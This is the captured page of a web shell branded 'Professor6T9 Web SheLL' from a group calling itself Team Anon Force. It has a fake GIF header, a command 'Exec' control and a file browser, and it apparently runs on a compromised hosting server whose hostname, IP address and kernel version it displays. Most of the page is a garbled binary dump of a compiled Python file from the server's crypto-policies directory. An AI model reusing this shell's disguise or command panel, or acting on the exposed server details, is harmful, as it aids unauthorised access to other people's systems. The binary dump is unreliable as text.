GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux 98.35.109.208.host.secureserver.net 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
Apache
208.109.35.98
/
usr
/
share
/
crypto-policies
/
python
/
__pycache__
[ HOME ]
Exec
Submit
build-crypto-policies.cpython-39.opt-1.pyc
a C�h� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZdZdd� Zdd� Z dd� Z dd d �Zdd� Zd d� Z edkr|e � dS )� Nzreload-cmds.shc O s t | dtji|�� d S )N�file)�print�sys�stderr)�args�kwargs� r �:/usr/share/crypto-policies/python/build-crypto-policies.py�eprint s r c C s� t jdd�} | jdddd� | jdddd� | jd td dd� | jd ddd� | jdddd� | jddd� | jddd� | �� S )zParse the command lineF)�allow_abbrevz--flat� store_truez1put all the generated files in a single directory)�action�helpz--testz7compare the generated config file with the existing onez--policyZPOLICYz"generate the specified policy only)�type�metavarr z--reloadcmdszDalso save reload cmds into reload-cmds.sh script in output directoryz--strictzfail on warnings� policydirz5a directory with base policy definition files (*.pol))r � outputdirz.a target directory with generated config files)�argparse�ArgumentParser�add_argument�str� parse_args)�parserr r r r s. �� �����r c C s� | j r$tj�| j|� d|� d��}n`tj�| j|�}tj�|�srzt�|� W n" typ td|� �� Y dS 0 tj�||d �}| j �rVz�t |dd��}|�� }W d � n1 s�0 Y ||k�rtd|� d|� d �� d d� }tj ||�||�||d d �} tj�| � W dS W dS t�y2 Y n$ t�yT td|� �� Y dS 0 td|� d|� �� t |ddd��}|�|� W d � n1 �s�0 Y t� dS )N�-z.txtz#Cannot create directory for policy F�utf-8)�encodingzConfig for z for policy z differs from the existing one:c S s dd� | � d�D �S )Nc S s g | ]}|d �qS )� r )�.0�lr r r � <listcomp>G � z.save_config.<locals>.lines.<locals>.<listcomp>r )�split)�sr r r �linesF s zsave_config.<locals>.linesz.new)ZfromfileZtofileTzError reading generated file zSaving config for �w��moder )Zflat�os�path�joinr �isdir�mkdir�OSErrorr �test�open�read�difflibZunified_diffr r � writelines�FileNotFoundErrorr �write) �cmdline�policy_nameZconfig_name�configr( �dirpath�fZ old_configr# �diffr r r �save_config0 sH �& �*r: c C s( d}|d u rg }zt j|g|�R d| ji�}W n6 tyd } ztdt|� � W Y d }~dS d }~0 0 dd� tt�D �}|D ]�}tj| }|� } | � |� | j��} |dv s�| �| ��rz(d� |g|��}t| || j| �s�d }W n. t�y td | j � td� d}Y n0 q|td | j � d}q||S )Nr r zError: � c S s g | ]}d |v r|�qS �� Generatorr �r �gr r r r h r z build_policy.<locals>.<listcomp>> ZEMPTYz GOST-ONLY�:� zError saving config for zKeeping original configuration� zError testing config for � )�cryptopoliciesZUnscopedCryptoPolicyr � ValueErrorr r �dir�policygenerators�__dict__Zgenerate_configZscopedZSCOPESZtest_configr) r: ZCONFIG_NAMEr, )r4 r5 �subpolicy_names�errZcp�e� generatorsr? �cls�genr6 �namer r r �build_policy[ s: �� rP c C s� d}dd� t t�D �}tj�| jt�}zRt|ddd��0}|D ]}tj| }|� |j � q<W d � n1 sl0 Y W n ty� td� d}Y n0 |S ) Nr c S s g | ]}d |v r|�qS r<